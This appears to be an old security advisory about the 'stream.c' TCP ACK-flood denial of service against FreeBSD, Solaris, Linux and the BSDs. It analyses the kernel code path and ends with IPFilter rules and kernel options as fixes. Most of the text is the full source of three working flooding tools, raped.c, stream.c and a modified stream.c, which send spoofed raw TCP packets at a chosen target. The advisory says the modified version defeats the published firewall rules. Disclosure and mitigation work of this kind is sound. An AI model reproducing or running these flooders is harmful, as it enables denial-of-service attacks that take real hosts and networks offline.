COMMAND

    kernel

SYSTEMS AFFECTED

    FreeBSD, Solaris, BSDs

PROBLEM

    'The Tree of Life'   posted following.  He's  been informed by  an
    irc admin  that a  new exploit  is circulating  around.  It "sends
    tcp-established bitstream  shit" and  makes the  "kernel fuck up".
    It's called stream.c.  The only log provided is this one (Linux):

        syslog:Jan 18 12:30:36 x kernel: Kernel panic: Free list empty

    Actually, this affects most TCP stacks, including those in  Linux,
    Solaris, and all of the BSDs.  Not tested under NT or Windows, but
    guess is that does  so there as well.   The problem seems to  stem
    from a worst-case  path through the  kernel's socket lookup  code,
    followed by the overhead of generating a RST.

    Tim  Yardley  added  following.   stream.c  mearly floods the host
    with ack's coming  from random ips  with random sequence  numbers.
    This in itself  is not too  much of a  problem, but rate  limiting
    should  be  done  to  conteract  its  effect  (the  same  idea  as
    ICMP_BANDLIM).  The attacker specifies the port that they want  to
    send the acks to, depending  on what ports are selected,  you will
    have different net results.  If the port is an open port, then you
    will have a longer kernel path to follow before the drop (at least
    in freebsd).  Therefore, the  smart attacker will hit open  ports.
    Now,  speaking  specifically  in  terms  of  fbsd... this involves
    /sys/netinet/tcp_input.c

    In there, it will do a hash lookup on each and every packet in the
    function  in_pcblookup_hash().   The  wildcard  bit  was  set   by
    default, which would cause it to  do 2 hash lookups per call,  the
    reasoning is  for connected  syns (ie,  recieving a  syn during  a
    connected stream already or for open ports).  Since the  attackers
    ack was recieved  on something that  was not already  connected...
    fbsd will drop the packet.  The problem is how they go about doing
    so.  The same holds true for all other os's tested.

    Again, in fbsd, the hash call returns a null pointer if it  doesnt
    have a corresponding syn then if it isnt past the icmp_bandlim  it
    drops with reset otherwise it just drops.  The problem is.. if the
    attacker  hits  a  port  that  is  listening  then one of the hash
    lookups will succeed  and that means  that the packet  will not be
    immediately dropped, it will be  processed a little first.   Later
    in the code,

        if ((tiflags & (TH_RST|TH_ACK|TH_SYN)) != TH_SYN) {

    that line  will cause  the ACK  attack packet  to be dropped after
    some processing because it is not  a syn packet (it will drop  the
    packet  with  a  RST).   In  the  meantime,  it  ate up cpu cycles
    (checksums  were  calculated,  hash  lookups,  and some other misc
    things).  Overall it doesnt  take much cpu time per  packet... but
    it does take a  lot of cpu time  compared to a null  pointer being
    returned  on  the  hash  lookup  so,  when you bombard a host with
    enough  of  these  ack  packets...  it  uses too much CPU and that
    causes the  machine to  either exhaust  its resources,  panic, lag
    horribly, and possibly crash in the end.

    In the best case scenario, you will experience only the lag of the
    flood and the lag of  the processing (currently) and then  be fine
    when the attacker  stops,  In  the worst case,  you reboot.   Once
    you patch it, you deal with a lot less processing time (the  drops
    are handled without the RST flag when appropriate -- bandlim  type
    idea).   In other  words, you  go to  the drop  routine instead of
    dropwithrst  silencing   your  response,   which  decreases   your
    processing time, the  hit on your  network, and the  effect of the
    flood (once  a threshold  is reached,  all those  bad packets  are
    silently dropped and the attack has less of a net effect).

    Since this is not as big of a  deal as what it was made out to  be
    and "fixes" exist, below is  explanation and code.  This  was done
    independantly,  although   some  of   the  analysis   and  reverse
    engineering of concept  was done by  other people.   The following
    people contributed in  some way or  another:  Brett  Glass, Alfred
    Perlstein, Warner Losh and Darren Reed.

    There  are  two  things  below,  one  is  stream.c..  the other is
    raped.c.   Tim threw  together raped.c  in about  30 minutes or so
    for the independant testing.  A while after Tim was done  testing,
    he was given a  copy of stream.c.   It seems as if  they both have
    effects...  but they are not substantial (except in odd cases that
    Tim couldn't quite explain).   These programs are for the  sake of
    full disclosure, don't abuse them.

    -- start raped.c --
    /*
      * raped.c by Liquid Steel [lst @ efnet -- yardley@uiuc.edu]
      * src:         	this is the old hose.c by prym, modified to suit my purposes
      * exploits:    	the stream.c "problem", not.. i did not have the stream.c source when this was written
      *              	this is just a reverse engineer based on discussion and tcp patches released.
      * compile:     	this is a 5 minute hack, and a 30 minute test prog, treat it as such
      *              	side note, this is obviously only for linux due to the header format.
      */

    #include <signal.h>
    #include <stdio.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>

    int ports, s, i;

    char *dsthost;
    unsigned long dst;
    unsigned long portarray[255];

    void
    abort (void)
    {
       printf (":: exiting...\n\n");
       close (s);
       exit (0);
    }

    void
    banner (void)
    {
       printf ("-------------------\n");
       printf ("::\n");
       printf (":: raped.c by lst\n");
       printf ("::\n");
       printf ("-------------------\n");
    }

    void
    usage (char *progname)
    {
       printf ("usage: %s <dst> <ports>\n", progname);
       printf ("\t<dst>   - destination host\n");
       printf ("\t<ports> - ports to flood\n\n");
       exit (1);
    }

    void
    parse_args (int argc, char *argv[])
    {
       dsthost = argv[1];
       for (i = 2; i < argc; i++)
         {
           ports++;
           portarray[ports] = atoi (argv[i]);
         }
    }

    unsigned long
    resolve_host (char *h)
    {
       struct hostent *host;
       if ((host = gethostbyname (h)) == NULL)
         {
           printf (":: unknown host %s\n", h);
           exit (1);
         }
       return *(unsigned long *) host->h_addr;
    }

    /* stolen from ping.c */
    unsigned short
    in_cksum (u_short * addr, int len)
    {
       register int nleft = len;
       register u_short *w = addr;
       register int sum = 0;
       u_short answer = 0;
       while (nleft > 1)
         {
           sum += *w++;
           nleft -= 2;
         }
       if (nleft == 1)
         {
           *(u_char *) (&answer) = *(u_char *) w;
           sum += answer;
         }
       sum = (sum >> 16) + (sum & 0xffff);
       sum += (sum >> 16);
       answer = ~sum;
       return (answer);
    }

    void
    send_tcp_segment (struct iphdr *ip, struct tcphdr *tcp, char *data, int dlen)
    {
       char buf[65536];
       struct
         {
           unsigned long saddr;
           unsigned long daddr;
           char mbz;
           char proto;
           unsigned short tcplength;
         }
       ph;
       struct sockaddr_in sin;
       ph.saddr = ip->saddr;
       ph.daddr = ip->daddr;
       ph.mbz = 0;
       ph.proto = IPPROTO_TCP;
       ph.tcplength = htons (sizeof (*tcp) + dlen);
       memcpy (buf, &ph, sizeof (ph));
       memcpy (buf + sizeof (ph), tcp, sizeof (*tcp));
       memcpy (buf + sizeof (ph) + sizeof (*tcp), data, dlen);
       memset (buf + sizeof (ph) + sizeof (*tcp) + dlen, 0, 4);

       tcp->check = in_cksum ((u_short *) buf, (sizeof (ph) + sizeof (*tcp) + dlen + 1) & ~1);

       memcpy (buf, ip, 4 * ip->ihl);
       memcpy (buf + 4 * ip->ihl, tcp, sizeof (*tcp));
       memcpy (buf + 4 * ip->ihl + sizeof (*tcp), data, dlen);
       memset (buf + 4 * ip->ihl + sizeof (*tcp) + dlen, 0, 4);

       ip->check = in_cksum ((u_short *) buf, (4 * ip->ihl + sizeof (*tcp) + dlen + 1) & ~1);

       memcpy (buf, ip, 4 * ip->ihl);
       sin.sin_family = AF_INET;
       sin.sin_port = tcp->dest;
       sin.sin_addr.s_addr = ip->daddr;
       if (sendto (s, buf, 4 * ip->ihl + sizeof (*tcp) + dlen, 0, &sin, sizeof (sin)) < 0)
         {
           perror (":: error: sending syn packet");
           exit (1);
         }
    }

    int
    main (int argc, char *argv[])
    {
       struct iphdr ip;
       struct tcphdr tcp;
       struct timeval tv;
       struct sockaddr_in sin;
       int blah = 1;

       signal (SIGINT, (void (*)()) abort);

       banner ();

       if (argc < 3)
         usage (argv[0]);

       parse_args (argc, argv);

       dst = resolve_host (dsthost);

       srand (time (NULL));

       printf (":: destination host - %s\n", dsthost);
       printf (":: destination port(s)");
       for (i = 1; i < ports + 1; i++)
         printf (" - %d", portarray[i]);
       printf ("\n");

       if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
         {
           perror (":: error: can not open socket");
           exit (1);
         }

       if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, (char *) &blah, sizeof (blah)) < 0)
         {
           perror (":: setsockopt");
           exit (1);
         }
       ip.version = 4;
       ip.ihl = 5;
       ip.tos = 0x8;
       ip.frag_off = 0;
       ip.ttl = 255;
       ip.protocol = IPPROTO_TCP;
       ip.check = 0;
       ip.daddr = dst;
       tcp.res1 = 0;
       tcp.fin = 0;
       tcp.syn = 0;
       tcp.rst = 0;
       tcp.psh = 0;
       /* make it an ACK packet */
       tcp.ack = 1;
       tcp.urg = 0;
       tcp.res2 = 0;
       tcp.urg_ptr = 0;
       printf (":: raping...\n");
       printf (":: press ^C to end...\n");
       for (;;)
         {
           for (i = 1; i < ports + 1; i++)
	    {
	      ip.saddr = rand ();
	      ip.tot_len = sizeof (ip) + sizeof (tcp);
	      ip.id = htons (random ());
	      tcp.source = htons (1024 + rand () % 32000);
	      tcp.dest = htons (portarray[i]);
	      /* randomize seq */
	      tcp.seq = random ();
	      tcp.doff = sizeof (tcp) / 4;
	      tcp.window = htons (16384);
	      /* randomize ack */
	      tcp.ack_seq = random ();
	      send_tcp_segment (&ip, &tcp, "", 0);
	    }
         }
       return 1;
    }
    -- end raped.c --

    -- start stream.c --
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <strings.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #ifndef __USE_BSD
    #define	__USE_BSD
    #endif
    #ifndef __FAVOR_BSD
    #define __FAVOR_BSD
    #endif
    #include <netinet/in_systm.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <arpa/inet.h>
    #include <netdb.h>

    #ifdef LINUX
    #define FIX(x)	htons(x)
    #else
    #define FIX(x)	(x)
    #endif

    struct ip_hdr {
        u_int	ip_hl:4,		/* header length in 32 bit words */
		    ip_v:4;			/* ip version */
        u_char	ip_tos;			/* type of service */
        u_short	ip_len;			/* total packet length */
        u_short	ip_id;			/* identification */
        u_short	ip_off;			/* fragment offset */
        u_char	ip_ttl;			/* time to live */
        u_char	ip_p;			/* protocol */
        u_short	ip_sum;			/* ip checksum */
        u_long	saddr, daddr;		/* source and dest address */
    };

    struct tcp_hdr {
        u_short	th_sport;		/* source port */
        u_short	th_dport;		/* destination port */
        u_long	th_seq;			/* sequence number */
        u_long	th_ack;			/* acknowledgement number */
        u_int	th_x2:4,		/* unused */
		    th_off:4;		/* data offset */
        u_char	th_flags;		/* flags field */
        u_short	th_win;			/* window size */
        u_short	th_sum;			/* tcp checksum */
        u_short	th_urp;			/* urgent pointer */
    };

    struct tcpopt_hdr {
        u_char  type;			/* type */
        u_char  len;				/* length */
        u_short value;			/* value */
    };

    struct pseudo_hdr {			/* See RFC 793 Pseudo Header */
        u_long saddr, daddr;			/* source and dest address */
        u_char mbz, ptcl;			/* zero and protocol */
        u_short tcpl;			/* tcp length */
    };

    struct packet {
        struct ip/*_hdr*/ ip;
        struct tcphdr tcp;
    /* struct tcpopt_hdr opt; */
    };

    struct cksum {
        struct pseudo_hdr pseudo;
        struct tcphdr tcp;
    };

    struct packet packet;
    struct cksum cksum;
    struct sockaddr_in s_in;
    u_short dstport, pktsize, pps;
    u_long dstaddr;
    int sock;

    void usage(char *progname)
    {
        fprintf(stderr, "Usage: %s <dstaddr> <dstport> <pktsize> <pps>\n", progname);
        fprintf(stderr, "    dstaddr  - the target we are trying to attack.\n");
        fprintf(stderr, "    dstport  - the port of the target, 0 = random.\n");
        fprintf(stderr, "    pktsize  - the extra size to use.  0 = normal syn.\n");
        exit(1);
    }

    /* This is a reference internet checksum implimentation, not very fast */
    inline u_short in_cksum(u_short *addr, int len)
    {
        register int nleft = len;
        register u_short *w = addr;
        register int sum = 0;
        u_short answer = 0;

         /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
          * sequential 16 bit words to it, and at the end, fold back all the
          * carry bits from the top 16 bits into the lower 16 bits. */

         while (nleft > 1)  {
             sum += *w++;
             nleft -= 2;
         }

         /* mop up an odd byte, if necessary */
         if (nleft == 1) {
             *(u_char *)(&answer) = *(u_char *) w;
             sum += answer;
         }

         /* add back carry outs from top 16 bits to low 16 bits */
         sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
         sum += (sum >> 16);         	/* add carry */
         answer = ~sum;              	/* truncate to 16 bits */
         return(answer);
    }

    u_long lookup(char *hostname)
    {
        struct hostent *hp;

        if ((hp = gethostbyname(hostname)) == NULL) {
           fprintf(stderr, "Could not resolve %s.\n", hostname);
           exit(1);
        }

        return *(u_long *)hp->h_addr;
    }

    void flooder(void)
    {
        struct timespec ts;
        int i;

        memset(&packet, 0, sizeof(packet));

        ts.tv_sec			= 0;
        ts.tv_nsec			= 10;

        packet.ip.ip_hl		= 5;
        packet.ip.ip_v		= 4;
        packet.ip.ip_p		= IPPROTO_TCP;
        packet.ip.ip_tos		= 0x08;
        packet.ip.ip_id 		= rand();
        packet.ip.ip_len		= FIX(sizeof(packet));
        packet.ip.ip_off		= 0; /* IP_DF? */
        packet.ip.ip_ttl		= 255;
        packet.ip.ip_dst.s_addr	= dstaddr;

        packet.tcp.th_flags		= 0;
        packet.tcp.th_win		= htons(16384);
        packet.tcp.th_seq		= random();
        packet.tcp.th_ack		= 0;
        packet.tcp.th_off		= 5; /* 5 */
        packet.tcp.th_urp		= 0;
        packet.tcp.th_sport		= rand();
        packet.tcp.th_dport		= dstport?htons(dstport):rand();

    /*
        packet.opt.type		= 0x02;
        packet.opt.len		= 0x04;
        packet.opt.value		= htons(1460);
    */


        cksum.pseudo.daddr		= dstaddr;
        cksum.pseudo.mbz		= 0;
        cksum.pseudo.ptcl		= IPPROTO_TCP;
        cksum.pseudo.tcpl		= htons(sizeof(struct tcphdr));

        s_in.sin_family		= AF_INET;
        s_in.sin_addr.s_addr		= dstaddr;
        s_in.sin_port		= packet.tcp.th_dport;

        for(i=0;;++i) {
        cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
           ++packet.ip.ip_id;
           ++packet.tcp.th_sport;
           ++packet.tcp.th_seq;

           if (!dstport)
              s_in.sin_port = packet.tcp.th_dport = rand();

           packet.ip.ip_sum		= 0;
           packet.tcp.th_sum		= 0;

           cksum.tcp			= packet.tcp;

           packet.ip.ip_sum		= in_cksum((void *)&packet.ip, 20);
           packet.tcp.th_sum		= in_cksum((void *)&cksum, sizeof(cksum));

           if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0)
              perror("jess");

        }
    }

    int main(int argc, char *argv[])
    {
        int on = 1;

        printf("stream.c v1.0 - TCP Packet Storm\n");

        if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
           perror("socket");
           exit(1);
        }

        setgid(getgid()); setuid(getuid());

        if (argc < 4)
           usage(argv[0]);

        if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
           perror("setsockopt");
           exit(1);
        }

        srand((time(NULL) ^ getpid()) + getppid());

        printf("\nResolving IPs..."); fflush(stdout);

        dstaddr	= lookup(argv[1]);
        dstport	= atoi(argv[2]);
        pktsize	= atoi(argv[3]);

        printf("Sending..."); fflush(stdout);

        flooder();

        return 0;
    }

    -- end stream.c --

    You can also in stream.c change this

        packet.tcp.th_flags           = 0;

    to a little different effect:

        packet.tcp.th_flags             = TH_ACK;

    Receiving a packet with no  flags is considered an illegal  packet
    (obviously) and is often dumped,  however, as we have seen  in the
    past.. illegal packets  often wreak havoc  and often go  untested.
    There is very little that "raped.c" or "stream.c" show as problems
    in the TCP/IP stacks.  The  true problem lies more in the  effects
    of the response (caused by the attack).  This is the same  concept
    as the SYN floods of yesteryear,  and the same type of thing  will
    be done to handle it.  The  main difference is that it will be  on
    a simpler note because there isn't much need for a "cookie"  based
    system.   One  should  just  throttle  the  response  of the reset
    packets which in turn will help stop the storm that you generate.

    The main effect of this attack is that you are shooting back RST's
    at all the spoofed  hosts.  Obviously, a  lot of these hosts  will
    not exist and you will get ICMP unreaches (as an example)  bounced
    back at you.  There  are other possibilities as well,  but unreach
    would be the most  common.  The ones  that don't respond back  may
    send you some packets back as  well (depending on if the port  was
    valid or not and  what their firewall rules  are).  This causes  a
    nice little storm of packets, in the ideal case.

    Note that it is said ideal  case in the previous paragraph.   This
    is not always the  observed behavior.  It  all depends on what  is
    on the subnet, what type  of packets are recieved, what  rules and
    filters you have setup,  and even the duration  of the flood.   It
    has been pointed out several  times that the machine will  go back
    to  normal  once  the  attack  is  stopped,  which  is exactly why
    something like RST_BANDLIM will work.

    Below  is  patched  stream.c  which  sends  (SYN packet + 1023 ACK
    packets) from  random port  and source.   Ipfw rule  and published
    ipfilter rule will be unusable against this attack.

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <strings.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #ifndef __USE_BSD
    #define __USE_BSD
    #endif
    #ifndef __FAVOR_BSD
    #define __FAVOR_BSD
    #endif
    #include <netinet/in_systm.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    
    #ifdef LINUX
    #define FIX(x)  htons(x)
    #else
    #define FIX(x)  (x)
    #endif
    
    struct ip_hdr {
        u_int       ip_hl:4,                /* header length in 32 bit words */
                    ip_v:4;                 /* ip version */
        u_char      ip_tos;                 /* type of service */
        u_short     ip_len;                 /* total packet length */
        u_short     ip_id;                  /* identification */
        u_short     ip_off;                 /* fragment offset */
        u_char      ip_ttl;                 /* time to live */
        u_char      ip_p;                   /* protocol */
        u_short     ip_sum;                 /* ip checksum */
        u_long      saddr, daddr;           /* source and dest address */
    };
    
    struct tcp_hdr {
        u_short     th_sport;               /* source port */
        u_short     th_dport;               /* destination port */
        u_long      th_seq;                 /* sequence number */
        u_long      th_ack;                 /* acknowledgement number */
        u_int       th_x2:4,                /* unused */
                    th_off:4;               /* data offset */
        u_char      th_flags;               /* flags field */
        u_short     th_win;                 /* window size */
        u_short     th_sum;                 /* tcp checksum */
        u_short     th_urp;                 /* urgent pointer */
    };
    
    struct tcpopt_hdr {
        u_char  type;                       /* type */
        u_char  len;                                /* length */
        u_short value;                      /* value */
    };
    
    struct pseudo_hdr {                     /* See RFC 793 Pseudo Header */
        u_long saddr, daddr;                        /* source and dest address */
        u_char mbz, ptcl;                   /* zero and protocol */
        u_short tcpl;                       /* tcp length */
    };
    
    struct packet {
        struct ip/*_hdr*/ ip;
        struct tcphdr tcp;
    /* struct tcpopt_hdr opt; */
    };
    
    struct cksum {
        struct pseudo_hdr pseudo;
        struct tcphdr tcp;
    };
    
    struct packet packet;
    struct cksum cksum;
    struct sockaddr_in s_in;
    u_short dstport, pktsize, pps;
    u_long dstaddr;
    int sock;
    
    void usage(char *progname)
    {
        fprintf(stderr, "Usage: %s <dstaddr> <dstport> <pktsize> <pps>\n",
    progname);
        fprintf(stderr, "    dstaddr  - the target we are trying to attack.\n");
        fprintf(stderr, "    dstport  - the port of the target, 0 = random.\n");
        fprintf(stderr, "    pktsize  - the extra size to use.  0 = normal syn.\n");
        exit(1);
    }
    
    /* This is a reference internet checksum implimentation, not very fast */
    inline u_short in_cksum(u_short *addr, int len)
    {
        register int nleft = len;
        register u_short *w = addr;
        register int sum = 0;
        u_short answer = 0;
    
         /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
          * sequential 16 bit words to it, and at the end, fold back all the
          * carry bits from the top 16 bits into the lower 16 bits. */
    
         while (nleft > 1)  {
             sum += *w++;
             nleft -= 2;
         }
    
         /* mop up an odd byte, if necessary */
         if (nleft == 1) {
             *(u_char *)(&answer) = *(u_char *) w;
             sum += answer;
         }
    
         /* add back carry outs from top 16 bits to low 16 bits */
         sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
         sum += (sum >> 16);                /* add carry */
         answer = ~sum;                     /* truncate to 16 bits */
         return(answer);
    }
    
    u_long lookup(char *hostname)
    {
        struct hostent *hp;
    
        if ((hp = gethostbyname(hostname)) == NULL) {
           fprintf(stderr, "Could not resolve %s.\n", hostname);
           exit(1);
        }
    
        return *(u_long *)hp->h_addr;
    }
    
    
    void flooder(void)
    {
        struct timespec ts;
        int i;
    
    
        memset(&packet, 0, sizeof(packet));
    
        ts.tv_sec                   = 0;
        ts.tv_nsec                  = 10;
    
        packet.ip.ip_hl             = 5;
        packet.ip.ip_v              = 4;
        packet.ip.ip_p              = IPPROTO_TCP;
        packet.ip.ip_tos            = 0x08;
        packet.ip.ip_id             = rand();
        packet.ip.ip_len            = FIX(sizeof(packet));
        packet.ip.ip_off            = 0; /* IP_DF? */
        packet.ip.ip_ttl            = 255;
        packet.ip.ip_dst.s_addr     = random();
    
        packet.tcp.th_flags         = 0;
        packet.tcp.th_win           = htons(16384);
        packet.tcp.th_seq           = random();
        packet.tcp.th_ack           = 0;
        packet.tcp.th_off           = 5; /* 5 */
        packet.tcp.th_urp           = 0;
        packet.tcp.th_dport         = dstport?htons(dstport):rand();
    
    /*
        packet.opt.type             = 0x02;
        packet.opt.len              = 0x04;
        packet.opt.value            = htons(1460);
    */
    
    
        cksum.pseudo.daddr          = dstaddr;
        cksum.pseudo.mbz            = 0;
        cksum.pseudo.ptcl           = IPPROTO_TCP;
        cksum.pseudo.tcpl           = htons(sizeof(struct tcphdr));
    
        s_in.sin_family             = AF_INET;
        s_in.sin_addr.s_addr                = dstaddr;
        s_in.sin_port               = packet.tcp.th_dport;
    
        for(i=0;;++i) {
    /*
	    patched by 3APA3A to send 1 syn packet + 1023 ACK packets.
    
    */
        if( !(i&0x4FF) ) {
	    packet.tcp.th_sport = rand();
	    cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
	    packet.tcp.th_flags = TH_SYN;
            packet.tcp.th_ack           = 0;
    
        }
        else {
	    packet.tcp.th_flags = TH_ACK;
	    packet.tcp.th_ack = random();
        }
    
    
        /* cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random(); */
           ++packet.ip.ip_id;
           /*++packet.tcp.th_sport*/;
           ++packet.tcp.th_seq;
    
           if (!dstport)
              s_in.sin_port = packet.tcp.th_dport = rand();
    
           packet.ip.ip_sum         = 0;
           packet.tcp.th_sum                = 0;
    
           cksum.tcp                        = packet.tcp;
    
           packet.ip.ip_sum         = in_cksum((void *)&packet.ip, 20);
           packet.tcp.th_sum                = in_cksum((void *)&cksum, sizeof(cksum));
    
           if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0)
              perror("jess");
    
        }
    }
    
    int main(int argc, char *argv[])
    {
        int on = 1;
    
        printf("stream.c v1.0 - TCP Packet Storm\n");
    
        if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
           perror("socket");
           exit(1);
        }
    
        setgid(getgid()); setuid(getuid());
    
        if (argc < 4)
           usage(argv[0]);
    
        if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
           perror("setsockopt");
           exit(1);
        }
    
        srand((time(NULL) ^ getpid()) + getppid());
    
        printf("\nResolving IPs..."); fflush(stdout);
    
        dstaddr     = lookup(argv[1]);
        dstport     = atoi(argv[2]);
        pktsize     = atoi(argv[3]);
    
        printf("Sending..."); fflush(stdout);
    
        flooder();
    
        return 0;
    }

SOLUTION

    A quick bull session on  the FreeBSD Security list has  produced a
    workaround that works on all of the BSDs and in fact anything that
    runs IPFilter.  Brett Glass asked Darren Reed, author of  IPFilter
    (which now comes with all of  the BSDs) if it's possible to  block
    the attack using  his firewall code,  and he says  it is.   Darren
    writes that the rules are as follows:

        pass in all
        block in proto tcp all head 100
        pass in proto tcp from any to any flags S keep state group 100

    (Change group 100 to something else if you're already using it  in
    your  firewall  rules)   He's  tested  these  rules on a Solaris 7
    system and they  seem to defeat  the DoS.   Note that you  must be
    using Darren's IPFilter package for  this to work.  IPFW  and some
    other firewalls do  not remember the  states of connections;  they
    therefore can't detect  the "established bistream  shit" mentioned
    above.

    The rulesets that were suggested by Darren Reed forgot to  include
    the outgoing connections.  This is the updated rulesets...

        block in quick proto tcp from any to any head 100
        pass in quick proto tcp from any to any flags S keep state group 100
        pass out proto tcp from any to any flags S keep state
        pass in all

    All BSD users  should add Darren's  rules as a  first-pass fix for
    the problem.  IPFilter also  runs on Linux, but doesn't  come with
    all distros.  To get it, see

        http://cheops.anu.edu.au/~avalon/

    FreeBSD "unofficial patch" by Alfred Perlstein:

        http://www.freebsd.org/~alfred/tcp_fix.diff

    Under  FreeBSD  3.4  and  FreeBSD-Current,  you  can  also turn on
    tcp_restrict_rst and  it will  help some  (not an  ideal fix,  but
    it's something  that can  be done  quickly.   You will most likely
    have  to  recompile  the  kernel  with the TCP_RESTRICT_RST option
    first,  because  it  is  not  there  by  default. The kernel still
    spends  more  time  than  it  should  figuring out that the ACK is
    bogus, but at least once it does,  it drops it cold.  It does  not
    try  to  send  a  RST  (which,  in  turn,  may  generate  an  ICMP
    "unreachable" message from the router since the source address  is
    spoofed).  This ought to  prevent the system from doing  more than
    slowing down a bit  if it's attacked.   Folks who need to  rewrite
    their firewall  rules to  move from  IPFW to  IPFilter can do this
    while they're working on the conversion.

    It should  be noted  that FreeBSD  3.4 and  -CURRENT both have the
    TCP_RESTRICT_RST  option.   You  can  turn  on tcp_restrict_rst by
    recompile your kernel with  option TCP_RESTRICT_RST and then  turn
    on tcp_restrict_rst in /etc/rc.conf.